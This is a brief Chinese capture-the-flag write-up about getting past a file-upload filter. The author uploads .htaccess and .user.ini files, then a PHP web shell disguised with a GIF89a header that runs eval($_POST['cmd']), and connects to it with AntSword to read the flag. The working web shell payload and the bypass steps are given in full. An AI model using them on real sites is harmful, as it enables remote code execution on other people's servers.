尝试传修改后缀的普通一句话木马，被检测

尝试传配置文件 .htaccess 和 .user.ini

两个都传成功了

接下来继续传入经过修改的木马

GIF89a
<script language="php">
eval($_POST['cmd']);
</script>

没有被检测，成功绕过

直接上蚁剑

连接成功

在根目录下找到flag

flag{e47da945-148a-41de-92b1-cec2765e8810}